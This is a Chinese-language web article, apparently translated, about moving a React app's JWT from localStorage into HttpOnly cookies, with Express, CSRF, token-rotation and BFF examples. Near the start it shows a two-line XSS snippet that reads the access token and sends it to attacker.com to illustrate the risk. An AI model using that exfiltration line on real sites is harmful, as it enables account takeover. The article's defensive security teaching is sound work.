首页 / 文章

将 React 应用的 JWT 从 localStorage 移至 HttpOnly Cookie 中

了解为何 localStorage 中的 JWT 容易受到任何 XSS 攻击,以及如何通过带 SameSite 属性、定期轮换和 BFF 机制降低风险,还有 React 应用中仍存在的哪些隐患。

发布者:REACTAPP.TOP阅读约 9 分钟2123 词

来源: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT

React 应用存储访问令牌的位置决定了跨站脚本漏洞可能带来的损失程度。存放在 localStorage 中的 JWT 可以被页面上的任何脚本读取并窃取;而存放在 HttpOnly Cookie 中的 JWT 则无法被读取,不过 Cookie 会引发跨站请求伪造的问题。下文将对比这两种存储方式,介绍基于 Express 后端的 Cookie 存储方案,以及用于完善该方案的令牌轮换、CSRF 防护和后端为前端服务技术。

两种存储选项,两种威胁模型

浏览器不会区分用户自身的脚本与被注入的脚本,因此 JWT 的两种常见存储位置所面临的风险也有所不同:

  • localStorage 可以被同一域名的任何 JavaScript 代码读取。其威胁为跨站脚本攻击,相应的缓解措施包括实施严格的 CSP 策略以及内容净化。
  • HttpOnly Cookie由浏览器发送,JavaScript无法访问。其威胁为CSRF攻击,相应的缓解措施包括SameSite属性和CSRF令牌。
  • 为何localStorage会引发XSS进而导致账户被盗

    任何在您的域名上运行的脚本都需要两步操作才能窃取令牌:

    // Any script running on your domain can do this:
    const token = localStorage.getItem('access_token');
    fetch('https://attacker.com/steal?token=' + token);
    

    注入的代码会通过比团队预期的更多途径进入React项目:

    • 使用您无法控制的内容通过dangerouslySetInnerHTML函数。
    • 被篡改的npm包,如event-stream和ua-parser-js事件中出现的那样。
    • 来自外部CDN的被篡改脚本。
    • 未进行内容过滤的Markdown渲染器。
    • 向页面注入代码的浏览器扩展。

    JSX会对插值字符串进行转义,但一旦代码选择不使用该机制——通常是为了渲染BIOS信息或富文本内容——这种保护作用就会消失:

    // ❌ NEVER do this with user-generated content
    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    // ❌ Or with rich text editors
    <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
    

    净化工具虽能起到辅助作用,但也存在被绕过的情形。作为参考,这里是一个常见的localStorage客户端:用于存储和读取令牌的辅助函数,以及一个会添加Bearer标头的封装层。

    // services/auth.ts
    const TOKEN_KEY = 'access_token';
    export const setToken = (token: string) => {
      localStorage.setItem(TOKEN_KEY, token);
    };
    export const getToken = () => {
      return localStorage.getItem(TOKEN_KEY);
    };
    export const removeToken = () => {
      localStorage.removeItem(TOKEN_KEY);
    };
    // api/client.ts
    import { getToken } from './auth';
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const token = getToken();
    
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        headers: {
          'Content-Type': 'application/json',
          ...(token && { Authorization: `Bearer ${token}` }),
          ...options.headers,
        },
      });
    
      return response;
    };
    

    这种方法很简单,但却无法具备XSS防护能力,因为其设计要求JavaScript必须能够读取该令牌。

    将HttpOnly Cookie设为默认选项

    服务器负责设置该Cookie,各项属性分别弥补了不同的安全漏洞:

    Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
      HttpOnly;
      Secure;
      SameSite=Strict;
      Path=/;
      Max-Age=900
    
    • HttpOnly可防止该Cookie被document.cookie及所有脚本访问到。
    • Secure可限制该Cookie仅在HTTPS环境下使用。
    • SameSite=Strict可防止浏览器将其附加到其他网站发起的请求中。
  • Max-Age=900 会使访问令牌的有效期为15分钟。
  • 客户端不再操作该令牌

    React会移除相关的存储辅助功能及请求头。关键配置为 credentials: 'include',它会让 fetch 传递Cookie。当收到 401 响应时,封装层会重新发起请求,或跳转至登录页面。

    // api/client.ts
    // No manual Authorization header needed!
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        credentials: 'include', // CRITICAL: Sends cookies with requests
        headers: {
          'Content-Type': 'application/json',
          ...options.headers,
        },
      });
    
      // If 401, try refreshing
      if (response.status === 401) {
        const refreshed = await refreshAccessToken();
        if (refreshed) {
          // Retry original request (browser auto-sends new cookie)
          return apiClient(endpoint, options);
        }
        // Redirect to login
        window.location.href = '/login';
      }
    
      return response;
    };
    

    在生产环境中,应将重试次数限制为一次,这样即使API仍返回 401 但“成功”刷新的情况也不会无限递归;同时,如单次刷新解决方案中所述,可在并发故障间共享同一正在处理的刷新请求。

    Express端

    在登录时,服务器会使用不同的密钥分别生成一个15分钟的访问令牌和一个7天的刷新令牌,同时存储刷新令牌的哈希值,并设置这两个cookie。刷新cookie使用path: '/auth/refresh',因此只会发送到该端点。刷新处理程序会验证JWT,通过bcrypt将其与存储的哈希值进行比对,然后生成新的访问cookie。

    // auth.controller.ts
    import { Response } from 'express';
    import jwt from 'jsonwebtoken';
    const ACCESS_TOKEN_EXPIRY = '15m';
    const REFRESH_TOKEN_EXPIRY = '7d';
    export const login = async (req, res: Response) => {
      const { email, password } = req.body;
    
      // Validate credentials...
      const user = await validateUser(email, password);
    
      const accessToken = jwt.sign(
        { userId: user.id, role: user.role },
        process.env.ACCESS_TOKEN_SECRET!,
        { expiresIn: ACCESS_TOKEN_EXPIRY }
      );
    
      const refreshToken = jwt.sign(
        { userId: user.id, tokenVersion: user.tokenVersion },
        process.env.REFRESH_TOKEN_SECRET!,
        { expiresIn: REFRESH_TOKEN_EXPIRY }
      );
    
      // Store refresh token hash in database (not the raw token!)
      await storeRefreshToken(user.id, refreshToken);
    
      // Set cookies
      res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000, // 15 minutes
        path: '/',
      });
    
      res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
        path: '/auth/refresh', // Only sent to refresh endpoint
      });
    
      res.json({ success: true });
    };
    export const refresh = async (req, res: Response) => {
      const refreshToken = req.cookies.refresh_token;
    
      if (!refreshToken) {
        return res.status(401).json({ error: 'No refresh token' });
      }
    
      try {
        const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
    
        // Check if token is in database and not revoked
        const storedToken = await getRefreshToken(payload.userId);
        if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
          return res.status(401).json({ error: 'Invalid refresh token' });
        }
    
        // Rotate: Issue new access token (and optionally new refresh token)
        const newAccessToken = jwt.sign(
          { userId: payload.userId },
          process.env.ACCESS_TOKEN_SECRET!,
          { expiresIn: ACCESS_TOKEN_EXPIRY }
        );
    
        res.cookie('access_token', newAccessToken, {
          httpOnly: true,
          secure: true,
          sameSite: 'strict',
          maxAge: 15 * 60 * 1000,
          path: '/',
        });
    
        res.json({ success: true });
      } catch {
        // Clear cookies on failure
        res.clearCookie('access_token');
        res.clearCookie('refresh_token');
        res.status(401).json({ error: 'Invalid token' });
      }
    };
    

    在重新使用之前:需导入bcrypt;注意刷新令牌的配置中硬编码了secure: true,而登录时则会根据环境变量判断;此外res.clearCookie('refresh_token')也必须指定path: '/auth/refresh',否则该cookie实际上并未被删除。

    SameSite机制下的CSRF问题

    CSRF攻击利用了Cookie会自动传输这一特性。SameSite属性可在浏览器端解决大部分问题,而基于Chromium的浏览器会将未设置该属性的Cookie视为Lax模式。对于单页应用而言:

    • 当前端与API处于同一域名时,选择Strict模式。
    • 当用户通过外部链接进入应用且需在首次导航时完成登录时,选择Lax模式。
    • 除非确实需要跨站点Cookie并了解其后果,否则避免使用None模式。

    “站点”指的是可注册的域名,因此即使子域名被攻破,仍属于同一站点。

    添加双重提交令牌

    为增强防御能力,服务器会在可读取的Cookie中设置一个随机值,React会将该值复制到X-CSRF-Token请求头中,若两者不一致,服务器就会拒绝该请求。

    // Backend sets a non-HttpOnly CSRF cookie
    res.cookie('csrf_token', generateRandomToken(), {
      httpOnly: false, // React needs to read this
      secure: true,
      sameSite: 'strict',
    });
    // React reads it and sends in header
    const csrfToken = document.cookie
      .split('; ')
      .find(row => row.startsWith('csrf_token='))
      ?.split('=')[1];
    fetch('/api/sensitive', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'X-CSRF-Token': csrfToken,
      },
    });
    

    根据同源策略,伪造页面无法读取用户的cookies,因此也无法生成相应的请求头。在设置了SameSite=Strict且CORS限制严格的情况下,这种做法往往多余,但仍是防止配置错误的有效保障。

    刷新令牌的轮换与重复使用检测

    较短的访问令牌搭配较长的刷新令牌是常见的配置方式,但一旦刷新令牌被盗,仍可让攻击者获得数天的访问权限。通过轮换机制,每次刷新都会生成新的刷新令牌并使旧令牌失效;如果已作废的令牌再次出现,说明有人在重复使用它,此时应立即撤销该账户的所有会话。

    // When refreshing, invalidate the old refresh token
    export const refresh = async (req, res) => {
      const incomingRefresh = req.cookies.refresh_token;
    
      // Find user by refresh token
      const user = await findUserByRefreshToken(incomingRefresh);
    
      if (!user) {
        // Possible token reuse! Clear all sessions.
        await revokeAllUserTokens(user.id);
        return res.status(401).json({ error: 'Token reuse detected' });
      }
    
      // Rotate: Generate new pair
      const newRefresh = generateRefreshToken();
      await replaceRefreshToken(incomingRefresh, newRefresh);
    
      // If attacker had stolen old token, it's now invalid
      // If legitimate user has old token (race condition), they'll need to re-auth
    };
    

    首先修复一个错误:在 if (!user) 代码块中,程序会对空值调用 revokeAllUserTokens(user.id)。真正的重用检测需要找到已失效令牌的所有者,通常是通过“令牌家族”记录来实现的。当两个标签页同时刷新时可能会出现误报,设置短暂的宽限期有助于解决此问题。刷新令牌策略指南进一步介绍了服务器端的处理方法。

    利用 BFF 避免令牌出现在客户端

    前端专用后端是位于 React 与真实 API 之间的轻量级服务器:

    React App → BFF (Next.js API routes / Express) → Actual API
    

    它使用OAuth流程(带PKCE的授权码模式),将令牌存储在加密的HttpOnly Cookie中,处理CSRF攻击,并由于浏览器仅会访问自身域名而省去了大部分CORS配置。在Next.js中,路由处理程序可以将凭证转发给认证服务,再将返回的令牌转换为Cookie:

    // Next.js API Route (BFF pattern)
    // pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
    import { NextRequest, NextResponse } from 'next/server';
    export async function POST(req: NextRequest) {
      const body = await req.json();
    
      // Call actual auth service
      const authRes = await fetch('https://internal-api.company.com/auth', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body),
      });
    
      const { access_token, refresh_token } = await authRes.json();
    
      const response = NextResponse.json({ success: true });
    
      // Set HttpOnly cookies
      response.cookies.set('access_token', access_token, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 900,
      });
    
      return response;
    }
    

    完整版本还会存储刷新令牌,并在解析之前检查authRes.ok的状态。当使用Google或GitHub等第三方OAuth服务、API位于其他域名、希望将认证逻辑移出代码包,或已经在使用Next.js时,BFF模式较为适用。

    选择配置方案

    对于大多数同域单页应用而言,这就是基础配置:

    ✅ HttpOnly cookies with:
       - SameSite=Strict (or Lax)
       - Secure flag
       - Short-lived access tokens (5-15 min)
       - Rotating refresh tokens (7 days)
       - Token reuse detection
       - CORS properly configure
    

    对于跨域API或移动客户端,只有在你能够接受XSS风险并采取相应措施弥补时,localStorage才是可行的选择:

    localStorage ONLY if:
       - You implement strict CSP headers
       - You audit all dependencies for XSS
       - You don't use dangerouslySetInnerHTML
       - You have a short token lifetime (< 15 min)
       - You accept the XSS risk
    

    对于最严格的要求或企业级协议,BFF会从浏览器中移除令牌:

     Backend-for-Frontend (BFF):
       - React app talks to same-origin API routes
       - API routes handle tokens in HttpOnly cookies
       - React never touches JWTs
       - Works with OAuth, SAML, enterprise auth
    

    基于Cookie的认证检查清单

    • 将认证Cookie设置为HttpOnly、Secure以及SameSite=Strict。
    • 访问令牌的有效期为5到15分钟。
    • 启用刷新令牌轮换机制,并具备重复使用检测功能。
    • 在每次fetch或axios请求中都设置credentials: 'include'。
    • 同时启用Access-Control-Allow-Credentials: true并指定明确的来源地址。
    • 避免在日志和分析数据中包含Cookie信息。
    • 在/logout接口中从服务器端清除Cookie,可选地使用Clear-Site-Data: "cookies"指令。
    • 无论如何都需配置内容安全策略。

    强化后的响应可能会包含以下标头:

    # Example secure headers
    Content-Security-Policy: default-src 'self'; script-src 'self';
    Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
    Clear-Site-Data: "cookies"  # On logout
    

    总结

    HttpOnly Cookie并不能让XSS风险消失:注入的脚本在页面打开时仍可发送经过身份验证的请求。但它无法将令牌带离当前页面并在其他地方重复使用。正是这一差异,再加上Cookie的短有效期和定期轮换机制,使得它们成为Web应用的合适默认选择,不过仍需配合CSP使用。CSRF问题主要通过SameSite属性以及可选的双重提交令牌来解决,而XSS在依赖众多的React代码中依然是一个持续存在的风险。当跨域认证使得使用Cookie变得不便时,不妨构建一个小型BFF,而非退而求其次地使用localStorage。